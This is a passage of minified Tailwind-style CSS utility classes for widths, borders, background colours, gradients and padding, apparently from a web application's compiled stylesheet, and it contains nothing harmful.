min-height:40px}.min-h-\[60vh\]{min-height:60vh}.min-h-\[72px\]{min-height:72px}.min-h-\[80px\]{min-height:80px}.min-h-\[100px\]{min-height:100px}.min-h-\[120px\]{min-height:120px}.min-h-\[260px\]{min-height:260px}.min-h-\[400px\]{min-height:400px}.min-h-full{min-height:100%}.min-h-screen{min-height:100vh}.w-0\.5{width:calc(var(--spacing)*.5)}.w-2{width:calc(var(--spacing)*2)}.w-3{width:calc(var(--spacing)*3)}.w-3\.5{width:calc(var(--spacing)*3.5)}.w-4{width:calc(var(--spacing)*4)}.w-5{width:calc(var(--spacing)*5)}.w-6{width:calc(var(--spacing)*6)}.w-7{width:calc(var(--spacing)*7)}.w-8{width:calc(var(--spacing)*8)}.w-9{width:calc(var(--spacing)*9)}.w-10{width:calc(var(--spacing)*10)}.w-12{width:calc(var(--spacing)*12)}.w-16{width:calc(var(--spacing)*16)}.w-20{width:calc(var(--spacing)*20)}.w-24{width:calc(var(--spacing)*24)}.w-28{width:calc(var(--spacing)*28)}.w-32{width:calc(var(--spacing)*32)}.w-36{width:calc(var(--spacing)*36)}.w-40{width:calc(var(--spacing)*40)}.w-44{width:calc(var(--spacing)*44)}.w-48{width:calc(var(--spacing)*48)}.w-52{width:calc(var(--spacing)*52)}.w-56{width:calc(var(--spacing)*56)}.w-64{width:calc(var(--spacing)*64)}.w-96{width:calc(var(--spacing)*96)}.w-\[280px\]{width:280px}.w-fit{width:fit-content}.w-full{width:100%}.w-screen{width:100vw}.max-w-2xl{max-width:var(--container-2xl)}.max-w-3xl{max-width:var(--container-3xl)}.max-w-4xl{max-width:var(--container-4xl)}.max-w-\[96px\]{max-width:96px}.max-w-\[100px\]{max-width:100px}.max-w-\[120px\]{max-width:120px}.max-w-\[140px\]{max-width:140px}.max-w-\[180px\]{max-width:180px}.max-w-\[200px\]{max-width:200px}.max-w-\[250px\]{max-width:250px}.max-w-\[calc\(100\%-2rem\)\]{max-width:calc(100% - 2rem)}.max-w-lg{max-width:var(--container-lg)}.max-w-md{max-width:var(--container-md)}.max-w-none{max-width:none}.max-w-sm{max-width:var(--container-sm)}.max-w-xs{max-width:var(--container-xs)}.min-w-0{min-width:calc(var(--spacing)*0)}.min-w-48{min-width:calc(var(--spacing)*48)}.min-w-\[8rem\]{min-width:8rem}.min-w-\[60px\]{min-width:60px}.min-w-\[120px\]{min-width:120px}.min-w-\[1024px\]{min-width:1024px}.flex-1{flex:1}.flex-shrink-0{flex-shrink:0}.shrink{flex-shrink:1}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.caption-bottom{caption-side:bottom}.border-collapse{border-collapse:collapse}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-0{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-1\/2{--tw-translate-x: 50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.-translate-y-1\/2{--tw-translate-y: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-y-0{--tw-translate-y:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-none{translate:none}.scale-3d{scale:var(--tw-scale-x)var(--tw-scale-y)var(--tw-scale-z)}.scale-\[0\.98\]{scale:.98}.transform{transform:var(--tw-rotate-x,)var(--tw-rotate-y,)var(--tw-rotate-z,)var(--tw-skew-x,)var(--tw-skew-y,)}.animate-spin{animation:var(--animate-spin)}.cursor-default{cursor:default}.cursor-grab{cursor:grab}.cursor-pointer{cursor:pointer}.touch-pinch-zoom{--tw-pinch-zoom:pinch-zoom;touch-action:var(--tw-pan-x,)var(--tw-pan-y,)var(--tw-pinch-zoom,)}.touch-none{touch-action:none}.resize{resize:both}.resize-none{resize:none}.resize-y{resize:vertical}.list-inside{list-style-position:inside}.list-decimal{list-style-type:decimal}.list-disc{list-style-type:disc}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.grid-cols-\[40px_40px_1fr_80px_80px_80px_60px\]{grid-template-columns:40px 40px 1fr 80px 80px 80px 60px}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.items-end{align-items:flex-end}.items-start{align-items:flex-start}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.justify-end{justify-content:flex-end}.gap-0{gap:calc(var(--spacing)*0)}.gap-0\.5{gap:calc(var(--spacing)*.5)}.gap-1{gap:calc(var(--spacing)*1)}.gap-1\.5{gap:calc(var(--spacing)*1.5)}.gap-2{gap:calc(var(--spacing)*2)}.gap-3{gap:calc(var(--spacing)*3)}.gap-4{gap:calc(var(--spacing)*4)}.gap-5{gap:calc(var(--spacing)*5)}.gap-6{gap:calc(var(--spacing)*6)}.gap-8{gap:calc(var(--spacing)*8)}:where(.space-y-0>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*0)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*0)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1\.5>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1.5)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1.5)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-2>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*2)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*2)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-3>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*3)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*3)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-4>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*4)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*4)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-6>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*6)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*6)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-8>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*8)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*8)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-reverse>:not(:last-child)){--tw-space-y-reverse:1}.gap-x-8{column-gap:calc(var(--spacing)*8)}:where(.space-x-reverse>:not(:last-child)){--tw-space-x-reverse:1}.gap-y-4{row-gap:calc(var(--spacing)*4)}:where(.divide-x>:not(:last-child)){--tw-divide-x-reverse:0;border-inline-style:var(--tw-border-style);border-inline-start-width:calc(1px*var(--tw-divide-x-reverse));border-inline-end-width:calc(1px*calc(1 - var(--tw-divide-x-reverse)))}:where(.divide-y>:not(:last-child)){--tw-divide-y-reverse:0;border-bottom-style:var(--tw-border-style);border-top-style:var(--tw-border-style);border-top-width:calc(1px*var(--tw-divide-y-reverse));border-bottom-width:calc(1px*calc(1 - var(--tw-divide-y-reverse)))}:where(.divide-y-reverse>:not(:last-child)){--tw-divide-y-reverse:1}:where(.divide-gray-700\/50>:not(:last-child)){border-color:#36415380}@supports (color:color-mix(in lab,red,red)){:where(.divide-gray-700\/50>:not(:last-child)){border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}:where(.divide-white\/5>:not(:last-child)){border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){:where(.divide-white\/5>:not(:last-child)){border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.rounded{border-radius:.25rem}.rounded-2xl{border-radius:var(--radius-2xl)}.rounded-full{border-radius:3.40282e38px}.rounded-lg{border-radius:var(--radius-lg)}.rounded-md{border-radius:var(--radius-md)}.rounded-none{border-radius:0}.rounded-sm{border-radius:var(--radius-sm)}.rounded-xl{border-radius:var(--radius-xl)}.rounded-s{border-start-start-radius:.25rem;border-end-start-radius:.25rem}.rounded-ss{border-start-start-radius:.25rem}.rounded-e{border-start-end-radius:.25rem;border-end-end-radius:.25rem}.rounded-se{border-start-end-radius:.25rem}.rounded-ee{border-end-end-radius:.25rem}.rounded-es{border-end-start-radius:.25rem}.rounded-t{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.rounded-l{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-tl{border-top-left-radius:.25rem}.rounded-r{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.rounded-r-md{border-top-right-radius:var(--radius-md);border-bottom-right-radius:var(--radius-md)}.rounded-tr{border-top-right-radius:.25rem}.rounded-b{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-br{border-bottom-right-radius:.25rem}.rounded-bl{border-bottom-left-radius:.25rem}.border{border-style:var(--tw-border-style);border-width:1px}.border-0{border-style:var(--tw-border-style);border-width:0}.border-2{border-style:var(--tw-border-style);border-width:2px}.border-x{border-inline-style:var(--tw-border-style);border-inline-width:1px}.border-y{border-block-style:var(--tw-border-style);border-block-width:1px}.border-s{border-inline-start-style:var(--tw-border-style);border-inline-start-width:1px}.border-e{border-inline-end-style:var(--tw-border-style);border-inline-end-width:1px}.border-t{border-top-style:var(--tw-border-style);border-top-width:1px}.border-r{border-right-style:var(--tw-border-style);border-right-width:1px}.border-b{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.border-l{border-left-style:var(--tw-border-style);border-left-width:1px}.border-dashed{--tw-border-style:dashed;border-style:dashed}.border-\[\#07C160\]{border-color:#07c160}.border-\[\#07C160\]\/20{border-color:#07c16033}.border-\[\#07C160\]\/30{border-color:#07c1604d}.border-\[\#38bdac\]{border-color:#38bdac}.border-\[\#38bdac\]\/20{border-color:#38bdac33}.border-\[\#38bdac\]\/30{border-color:#38bdac4d}.border-\[\#38bdac\]\/40{border-color:#38bdac66}.border-\[\#38bdac\]\/50{border-color:#38bdac80}.border-amber-400\/60{border-color:#fcbb0099}@supports (color:color-mix(in lab,red,red)){.border-amber-400\/60{border-color:color-mix(in oklab,var(--color-amber-400)60%,transparent)}}.border-amber-500\/20{border-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/20{border-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.border-amber-500\/30{border-color:#f99c004d}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/30{border-color:color-mix(in oklab,var(--color-amber-500)30%,transparent)}}.border-amber-500\/40{border-color:#f99c0066}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/40{border-color:color-mix(in oklab,var(--color-amber-500)40%,transparent)}}.border-amber-500\/50{border-color:#f99c0080}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/50{border-color:color-mix(in oklab,var(--color-amber-500)50%,transparent)}}.border-blue-500\/30{border-color:#3080ff4d}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/30{border-color:color-mix(in oklab,var(--color-blue-500)30%,transparent)}}.border-blue-500\/40{border-color:#3080ff66}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/40{border-color:color-mix(in oklab,var(--color-blue-500)40%,transparent)}}.border-blue-500\/50{border-color:#3080ff80}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/50{border-color:color-mix(in oklab,var(--color-blue-500)50%,transparent)}}.border-cyan-500\/30{border-color:#00b7d74d}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/30{border-color:color-mix(in oklab,var(--color-cyan-500)30%,transparent)}}.border-cyan-500\/40{border-color:#00b7d766}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/40{border-color:color-mix(in oklab,var(--color-cyan-500)40%,transparent)}}.border-gray-500{border-color:var(--color-gray-500)}.border-gray-600{border-color:var(--color-gray-600)}.border-gray-700{border-color:var(--color-gray-700)}.border-gray-700\/30{border-color:#3641534d}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/30{border-color:color-mix(in oklab,var(--color-gray-700)30%,transparent)}}.border-gray-700\/40{border-color:#36415366}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/40{border-color:color-mix(in oklab,var(--color-gray-700)40%,transparent)}}.border-gray-700\/50{border-color:#36415380}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/50{border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.border-gray-700\/60{border-color:#36415399}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/60{border-color:color-mix(in oklab,var(--color-gray-700)60%,transparent)}}.border-green-500\/30{border-color:#00c7584d}@supports (color:color-mix(in lab,red,red)){.border-green-500\/30{border-color:color-mix(in oklab,var(--color-green-500)30%,transparent)}}.border-green-500\/40{border-color:#00c75866}@supports (color:color-mix(in lab,red,red)){.border-green-500\/40{border-color:color-mix(in oklab,var(--color-green-500)40%,transparent)}}.border-inherit{border-color:inherit}.border-orange-500\/20{border-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/20{border-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.border-orange-500\/30{border-color:#fe6e004d}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/30{border-color:color-mix(in oklab,var(--color-orange-500)30%,transparent)}}.border-orange-500\/40{border-color:#fe6e0066}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/40{border-color:color-mix(in oklab,var(--color-orange-500)40%,transparent)}}.border-orange-500\/50{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/50{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.border-purple-500\/20{border-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/20{border-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.border-purple-500\/30{border-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/30{border-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.border-purple-500\/40{border-color:#ac4bff66}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/40{border-color:color-mix(in oklab,var(--color-purple-500)40%,transparent)}}.border-red-500{border-color:var(--color-red-500)}.border-red-500\/20{border-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.border-red-500\/20{border-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.border-red-500\/30{border-color:#fb2c364d}@supports (color:color-mix(in lab,red,red)){.border-red-500\/30{border-color:color-mix(in oklab,var(--color-red-500)30%,transparent)}}.border-red-500\/50{border-color:#fb2c3680}@supports (color:color-mix(in lab,red,red)){.border-red-500\/50{border-color:color-mix(in oklab,var(--color-red-500)50%,transparent)}}.border-red-600\/50{border-color:#e4001480}@supports (color:color-mix(in lab,red,red)){.border-red-600\/50{border-color:color-mix(in oklab,var(--color-red-600)50%,transparent)}}.border-transparent{border-color:#0000}.border-white\/5{border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.border-white\/5{border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.border-white\/10{border-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.border-white\/10{border-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.border-white\/20{border-color:#fff3}@supports (color:color-mix(in lab,red,red)){.border-white\/20{border-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.border-yellow-500\/30{border-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/30{border-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.border-yellow-500\/40{border-color:#edb20066}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/40{border-color:color-mix(in oklab,var(--color-yellow-500)40%,transparent)}}.bg-\[\#0a1628\]{background-color:#0a1628}.bg-\[\#0a1628\]\/50{background-color:#0a162880}.bg-\[\#0a1628\]\/60{background-color:#0a162899}.bg-\[\#0b1828\]{background-color:#0b1828}.bg-\[\#0f2137\]{background-color:#0f2137}.bg-\[\#00CED1\]{background-color:#00ced1}.bg-\[\#1C1C1E\]{background-color:#1c1c1e}.bg-\[\#07C160\]{background-color:#07c160}.bg-\[\#07C160\]\/5{background-color:#07c1600d}.bg-\[\#07C160\]\/10{background-color:#07c1601a}.bg-\[\#38bdac\]{background-color:#38bdac}.bg-\[\#38bdac\]\/5{background-color:#38bdac0d}.bg-\[\#38bdac\]\/10{background-color:#38bdac1a}.bg-\[\#38bdac\]\/15{background-color:#38bdac26}.bg-\[\#38bdac\]\/20{background-color:#38bdac33}.bg-\[\#38bdac\]\/30{background-color:#38bdac4d}.bg-\[\#38bdac\]\/60{background-color:#38bdac99}.bg-\[\#38bdac\]\/80{background-color:#38bdaccc}.bg-\[\#050c18\]{background-color:#050c18}.bg-\[\#162840\]{background-color:#162840}.bg-amber-500{background-color:var(--color-amber-500)}.bg-amber-500\/5{background-color:#f99c000d}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/5{background-color:color-mix(in oklab,var(--color-amber-500)5%,transparent)}}.bg-amber-500\/10{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/10{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.bg-amber-500\/20{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/20{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.bg-black{background-color:var(--color-black)}.bg-black\/30{background-color:#0000004d}@supports (color:color-mix(in lab,red,red)){.bg-black\/30{background-color:color-mix(in oklab,var(--color-black)30%,transparent)}}.bg-black\/50{background-color:#00000080}@supports (color:color-mix(in lab,red,red)){.bg-black\/50{background-color:color-mix(in oklab,var(--color-black)50%,transparent)}}.bg-black\/60{background-color:#0009}@supports (color:color-mix(in lab,red,red)){.bg-black\/60{background-color:color-mix(in oklab,var(--color-black)60%,transparent)}}.bg-black\/90{background-color:#000000e6}@supports (color:color-mix(in lab,red,red)){.bg-black\/90{background-color:color-mix(in oklab,var(--color-black)90%,transparent)}}.bg-blue-500\/5{background-color:#3080ff0d}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/5{background-color:color-mix(in oklab,var(--color-blue-500)5%,transparent)}}.bg-blue-500\/10{background-color:#3080ff1a}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/10{background-color:color-mix(in oklab,var(--color-blue-500)10%,transparent)}}.bg-blue-500\/20{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/20{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.bg-cyan-500{background-color:var(--color-cyan-500)}.bg-cyan-500\/20{background-color:#00b7d733}@supports (color:color-mix(in lab,red,red)){.bg-cyan-500\/20{background-color:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.bg-emerald-500\/20{background-color:#00bb7f33}@supports (color:color-mix(in lab,red,red)){.bg-emerald-500\/20{background-color:color-mix(in oklab,var(--color-emerald-500)20%,transparent)}}.bg-gray-500{background-color:var(--color-gray-500)}.bg-gray-500\/20{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.bg-gray-500\/20{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.bg-gray-600{background-color:var(--color-gray-600)}.bg-gray-600\/20{background-color:#4a556533}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/20{background-color:color-mix(in oklab,var(--color-gray-600)20%,transparent)}}.bg-gray-600\/50{background-color:#4a556580}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/50{background-color:color-mix(in oklab,var(--color-gray-600)50%,transparent)}}.bg-gray-700{background-color:var(--color-gray-700)}.bg-gray-700\/50{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.bg-gray-700\/50{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.bg-green-500{background-color:var(--color-green-500)}.bg-green-500\/20{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.bg-green-500\/20{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.bg-green-600{background-color:var(--color-green-600)}.bg-orange-500{background-color:var(--color-orange-500)}.bg-orange-500\/10{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/10{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.bg-orange-500\/20{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/20{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.bg-purple-500\/20{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.bg-purple-500\/20{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.bg-red-500\/10{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/10{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.bg-red-500\/20{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/20{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.bg-red-600{background-color:var(--color-red-600)}.bg-red-900\/80{background-color:#82181acc}@supports (color:color-mix(in lab,red,red)){.bg-red-900\/80{background-color:color-mix(in oklab,var(--color-red-900)80%,transparent)}}.bg-transparent{background-color:#0000}.bg-white{background-color:var(--color-white)}.bg-white\/5{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.bg-white\/5{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.bg-white\/10{background-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.bg-white\/10{background-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.bg-white\/20{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.bg-white\/20{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.bg-yellow-500\/20{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.bg-yellow-500\/20{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.bg-gradient-to-br{--tw-gradient-position:to bottom right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.bg-gradient-to-r{--tw-gradient-position:to right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.from-\[\#0f2137\]{--tw-gradient-from:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#00CED1\]{--tw-gradient-from:#00ced1;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#38bdac\]\/10{--tw-gradient-from:oklab(72.378% -.11483 -.0053193/.1);--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-blue-500\/20{--tw-gradient-from:#3080ff33}@supports (color:color-mix(in lab,red,red)){.from-blue-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.from-blue-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-cyan-500\/20{--tw-gradient-from:#00b7d733}@supports (color:color-mix(in lab,red,red)){.from-cyan-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.from-cyan-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-green-500\/20{--tw-gradient-from:#00c75833}@supports (color:color-mix(in lab,red,red)){.from-green-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.from-green-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-purple-500\/20{--tw-gradient-from:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.from-purple-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.from-purple-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-yellow-500\/20{--tw-gradient-from:#edb20033}@supports (color:color-mix(in lab,red,red)){.from-yellow-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.from-yellow-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.via-\[\#38bdac\]\/30{--tw-gradient-via:oklab(72.378% -.11483 -.0053193/.3);--tw-gradient-via-stops:var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-via)var(--tw-gradient-via-position),var(--tw-gradient-to)var(--tw-gradient-to-position);--tw-gradient-stops:var(--tw-gradient-via-stops)}.to-\[\#0f2137\]{--tw-gradient-to:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#20B2AA\]{--tw-gradient-to:#20b2aa;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#162d4a\]{--tw-gradient-to:#162d4a;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-amber-500\/20{--tw-gradient-to:#f99c0033}@supports (color:color-mix(in lab,red,red)){.to-amber-500\/20{--tw-gradient-to:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.to-amber-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-cyan-500\/5{--tw-gradient-to:#00b7d70d}@supports (color:color-mix(in lab,red,red)){.to-cyan-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-cyan-500)5%,transparent)}}.to-cyan-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-green-500\/5{--tw-gradient-to:#00c7580d}@supports (color:color-mix(in lab,red,red)){.to-green-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-green-500)5%,transparent)}}.to-green-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-purple-500\/5{--tw-gradient-to:#ac4bff0d}@supports (color:color-mix(in lab,red,red)){.to-purple-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-purple-500)5%,transparent)}}.to-purple-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-yellow-500\/5{--tw-gradient-to:#edb2000d}@supports (color:color-mix(in lab,red,red)){.to-yellow-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-yellow-500)5%,transparent)}}.to-yellow-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.bg-repeat{background-repeat:repeat}.mask-no-clip{-webkit-mask-clip:no-clip;mask-clip:no-clip}.mask-repeat{-webkit-mask-repeat:repeat;mask-repeat:repeat}.fill-amber-400{fill:var(--color-amber-400)}.fill-current{fill:currentColor}.object-cover{object-fit:cover}.p-0{padding:calc(var(--spacing)*0)}.p-1{padding:calc(var(--spacing)*1)}.p-2{padding:calc(var(--spacing)*2)}.p-2\.5{padding:calc(var(--spacing)*2.5)}.p-3{padding:calc(var(--spacing)*3)}.p-4{padding:calc(var(--spacing)*4)}.p-5{padding:calc(var(--spacing)*5)}.p-6{padding:calc(var(--spacing)*6)}.p-8{padding:calc(var(--spacing)*8)}.px-0{padding-inline:calc(var(--spacing)*0)}.px-1{padding-inline:calc(var(--spacing)*1)}.px-1\.5{padding-inline:calc(var(--spacing)*1.5)}.px-2{padding-inline:calc(var(--spacing)*2)}.px-3{padding-inline:calc(var(--spacing)*3)}.px-4{padding-inline:calc(var(--spacing)*4)}.px-5{padding-inline:calc(var(--spacing)*5)}.px-6{padding-inline:calc(var(--spacing)*6)}.py-0\.5{padding-block:calc(var(--spacing)*.5)}.py-1{padding-block:calc(va